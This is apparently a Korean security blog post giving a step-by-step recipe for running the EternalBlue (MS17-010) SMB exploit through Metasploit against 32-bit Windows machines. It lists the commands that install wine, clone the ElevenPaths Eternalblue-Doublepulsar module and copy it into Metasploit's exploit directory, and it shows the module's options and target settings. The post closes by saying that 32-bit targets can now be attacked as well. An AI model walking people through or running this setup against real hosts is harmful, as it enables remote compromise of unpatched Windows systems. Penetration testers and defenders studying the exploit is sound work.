EternalBlue exploit for x86(32 bit) devices - 32비트 pc에 대한 EternalBlue

예전이나 지금이나 인기있는 Windows 취약점이 EternalBlue에 대한 이야기를 할까 합니다.

별다른건 아니고, Metasploit에서 EternalBlue Exploit을 하게되면 Base taget이 64비트 이여서 32비트 PC에는 바로 적용이 어려운데요, 찾다보니 32비트 버전으로 세팅해놓은 분이 있어 내용 공유드립니다.

Setting

우선 wine(32비트 버전), winetrcks 으로

#> apt-get install wine -y
#> apt-get install winetricks -y
#> dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y

or

#> apt install wine-stable
#> apt-get install winetricks

(Ubuntu 의 경우 wine-stable 설치 시 32비트도 같이 깔리기 때문에 add-architecture를 해줄 필요가 없습니다. )

이후 ElevenPaths의 EternalBlue쪽을 Clone 받아 cp eternalblue_doublepulsar.rb를 msf modules 디렉토리로 넣어줍니다.

#> git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
#> cd Eternalblue-Doublepulsar-Metasploit/

metasploit-framework 디렉토리를 설치 방식에 따라 다르긴 하지만 대체로 /usr/share, /opt 하위이게 때문에 확인해보시고 넣어주시면 됩니다.

#> cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

or

#> cp eternalblue_doublepulsar.rb /opt/metasploit-framework/modules/exploits/windows/smb

마지막으로 root 계정 상태에서 wine 사용을 위해 root 계정에도 wine directory를 만들어줍니다.

#> mkdir -p /root/.wine/drive_c/

스크립트로 요약하면 아래와 같습니다.

Scripts(https://gist.github.com/hkm/ff4180b4d13ca7d8a93d5b3cff848afc)

apt-get update -y
apt-get upgrade -y
apt-get install wine -y
apt-get install winetricks -y
dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
cd Eternalblue-Doublepulsar-Metasploit/
cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
mkdir -p /root/.wine/drive_c/

Exploit!

원래 etrenalblue는 대상 target이 64bit입니다.

HAHWUL (Sessions: 0 Jobs: 0) exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.
   GroomDelta          5                yes       The amount to increase the groom count by per try.
   MaxExploitAttempts  3                yes       The number of times to retry the exploit.
   ProcessName         spoolsv.exe      yes       Process to inject payload into.
   RHOST                                yes       The target address
   RPORT               445              yes       The target port (TCP)
   SMBDomain           .                no        (Optional) The Windows domain to use for authentication
   SMBPass                              no        (Optional) The password for the specified username
   SMBUser                              no        (Optional) The username to authenticate as
   VerifyArch          true             yes       Check if remote architecture matches exploit Target.
   VerifyTarget        true             yes       Check if remote OS matches exploit Target.

Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

그치만 추가로 넣어준 모듈을 보면..(제가 테스트한다고 하위 디렉토리에서 작업하다 보니 2개가 다 잡혔네요)

   exploit/test/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar                   normal   EternalBlue
   exploit/windows/smb/eternalblue_doublepulsar                                                normal   EternalBlue

Description에는 32비트도 지원한다고 나오고, 실제로 Exploit 시 wine을 이용해서 DLL 파일을 받아 Exploit을 진행합니다. 덕분에 32비트 Payload 사용이 가능해져 32비트 대상으로도 공격이 가능합니다.

x86 & x64 !!